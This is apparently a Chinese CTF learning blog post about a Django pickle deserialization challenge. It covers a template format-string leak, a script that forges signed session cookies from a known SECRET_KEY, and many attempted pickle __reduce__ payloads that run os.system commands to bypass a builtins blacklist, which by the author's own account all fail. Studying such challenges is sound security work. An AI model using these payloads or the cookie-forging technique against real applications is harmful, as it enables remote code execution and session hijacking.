Python 序列化漏洞学习(下)

0x00 前言

这几天一直在攻p神的code-breaking中的picklecode题目,题目地址在上篇文章中,但自身太菜实在无法攻下,因此将思路写出来抛砖引玉,希望有大佬的writeup

 

0x01 阅读源码

首先阅读源码,从url.py中发现只有admin,login,logout,index四个链接,并且admin是无法使用的

from django.http.response import HttpResponse, HttpResponseRedirect
from django.template import engines
from django.contrib.auth import login as auth_login, get_user_model, authenticate
from django.contrib.auth.views import LoginView, logout_then_login
from django.contrib.auth.decorators import login_required
from django.views import generic

User = get_user_model()


@login_required
def index(request):
    django_engine = engines['django']
    template = django_engine.from_string('My name is ' + request.user.username)
    return HttpResponse(template.render(None, request))


class RegistrationLoginView(LoginView):
    def post(self, request, *args, **kwargs):
        """
        Handle POST requests: instantiate a form instance with the passed
        POST variables and then check if it's valid.
        """
        form = self.get_form()
        if form.is_valid():
            return self.form_valid(form)
        if 'username' not in form.cleaned_data or 'password' not in form.cleaned_data:
            return self.form_invalid(form)

        if User.objects.filter(username=form.cleaned_data['username']).exists():
            return self.form_invalid(form)

        user = User.objects.create_user(form.cleaned_data['username'], None, form.cleaned_data['password'])
        auth_login(request, user)
        return HttpResponseRedirect(self.get_success_url())

在views.py中发现该网站首先进入的是登陆的界面,输入任何的账号密码都会新建出来,最后进入index页面显示账号密码如下

 

 

 

 

同时p神有一篇博客为Python 格式化字符串漏洞(Django为例) ,因此使用{{user.password}} 进行登陆显示如下

证实存在格式化字符串漏洞以及XSS漏洞,试过SSTI的payload但是无法显示,并且p神给的打出SECRET_KEY的payload也无法使用,因此留下一个坑。。。

0x02 序列化探讨

在core/serializer.py,将序列化的脚本从django自带的模块中提出来了,本来题目就是pickle,因该也是考的序列化的内容吧...阅读源码

import pickle
import io
import builtins

__all__ = ('PickleSerializer', )


class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))


class PickleSerializer():
    def dumps(self, obj):
        return pickle.dumps(obj)

    def loads(self, data):
        try:
            if isinstance(data, str):
                raise TypeError("Can't load pickle from unicode string")
            file = io.BytesIO(data)
            return RestrictedUnpickler(file,
                              encoding='ASCII', errors='strict').load()
        except Exception as e:
            return {}

发现只能使用__builtins__模块并且使用黑名单禁止了eval、__import__等一系列的命令执行函数,同时从题目环境中发现flag在docker的根目录之中。

让我们运行一下题目打印出需要序列化的内容,得出需要序列化的内容

{'_auth_user_id': '1', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend', '_auth_user_hash': '2348f58fff4844d232dd09be72fbcdcf943e7ad3'}

可见是将用户名的id,backend以及用户名的hash进行序列化。然后在index页面将内容进行反序列化打印在主页面上,因此初步理解的解题思路如下:

  1. 通过Django的格式化漏洞将SECRET_KEY打出来
  2. 通过打出来的SECRET_KEY绕过黑名单执行RCE或者将目录输出到自己的VPS上面

假装知道啦SECRET_KEY的值,使用如下脚本

from django.core import signing
import pickle
import builtins,io

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
    def find_class(self, module, name):
        print('begin unpcikle')
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))


class PickleSerializer():
    def dumps(self, obj):
        return pickle.dumps(obj)

    def loads(self, data):
        try:
            if isinstance(data, str):
                raise TypeError("Can't load pickle from unicode string")
            file = io.BytesIO(data)
            return RestrictedUnpickler(file,
                              encoding='ASCII', errors='strict').load()
        except Exception as e:
            return {}

def pickle_exp(SECRET_KEY):
    class Exp(object):
        def __reduce__(self):
            return (__builtins__.__dict__['globals'], ('__import__("os").system("ipconfig")',),)


    SECRET_KEY = SECRET_KEY
    # 根据SECRET_KEY进行Cookie的制造
    session = signing.dumps(Exp(), key = SECRET_KEY,serializer=PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
    print(session)


if __name__ == '__main__':
    SECRET_KEY = 'christa'
    pickle_exp(SECRET_KEY)

那么就需要绕过黑名单,查看__builtins__的目录

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']

我尝试了包括getattr,map,print,globals的很多种命令执行方式,但是都在反序列化的时候败下阵来,都之能在dumps时的时候进行命令执行,在python3的shell中都能够执行命令

 __builtins__.__dict__['getattr'](eval,'__call__')('__import__("os").system("ifconfig")')

__builtins__.__dict__['globals'](eval("__import__('os').system('ipconfig')"))

总结了一下目前所有试过的payload

#_*_coding:utf-8_*_
# _Author : Chris
# Date :2019/2/16 0:52
# FileName : pickletest.py
import pickle
import builtins
import io

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))


class PickleSerializer():
    def dumps(self, obj):
        return pickle.dumps(obj)

    def loads(self, data):
        try:
            if isinstance(data, str):
                raise TypeError("Can't load pickle from unicode string")
            file = io.BytesIO(data)
            return RestrictedUnpickler(file,
                              encoding='ASCII', errors='strict').load()
        except Exception as e:
            return {}
        
class Tup(object):
    def __reduce__(self):
        return (__builtins__.map, ( eval('__import__("os").system("dir")'),__import__('os').system('ipconfig'),),   )

class Exp(object):
    def __init__(self):
        pass
    def __reduce__(self):
        return (__builtins__.__dict__['e'+'v'+'a'+'l'], ('__import__("os").system("whoami")',),)

class Exps(object):
    def __reduce__(self):
        return (__builtins__.__dict__['__import__'], ('("os").system("whoami")',),)
class Bup(object):
    def __reduce__(self):
        return (__builtins__.getattr, (map,'__call__'),('__import__("os").system()', ['whoami']))
class Sup(object):
    def __reduce__(self):
        return (__builtins__.__dict__['map'], (__import__('os').system, ['whoami']),)

class Foo(object):
    def __reduce__(self):
        return (__import__('os').system, ('whoami',))
class Too(object):
    def __reduce__(self):
        return (__builtins__.__dict__['setattr'],(getattr(eval,'__call__'),eval('__import__("os").system("whoami")'),))

class Mop(object):
    def __init__(self):
        self.exp = Tup()
        self.exp2 = Exp()
        self.picks = pickle.dumps(self.exp2)
    def __reduce__(self):
        return  (__builtins__ .globals , __builtins__.eval('__import__("os").system("whoami")' , pickle.loads(self.picks)))
class Kop(object):
    def __reduce__(self):
        return(__builtins__.__dict__['print'] ,(eval('__import__("os").system("whoami")'), ), )

class Cop(object):
    def __reduce__(self):
        return (__builtins__.__dict__['complex'],(eval('__import__("os").system("whoami")'),))

m = Mop()
Pic = PickleSerializer()
a = Pic.dumps(m)
Pic.loads(a)

实在是找不到在绕过黑名单的同时在反序列化的时候可以进行命令执行,因此记录下目前的进度,方便以后查阅,同时希望有大神分享出这道题的writeup。

Reference

  1. http://www.vuln.cn/6685
  2. https://www.anquanke.com/post/id/156916
  3. http://netsecurity.51cto.com/art/201701/528338.htm
  4. https://www.freebuf.com/articles/system/89165.html
  5. https://github.com/sensepost/anapickle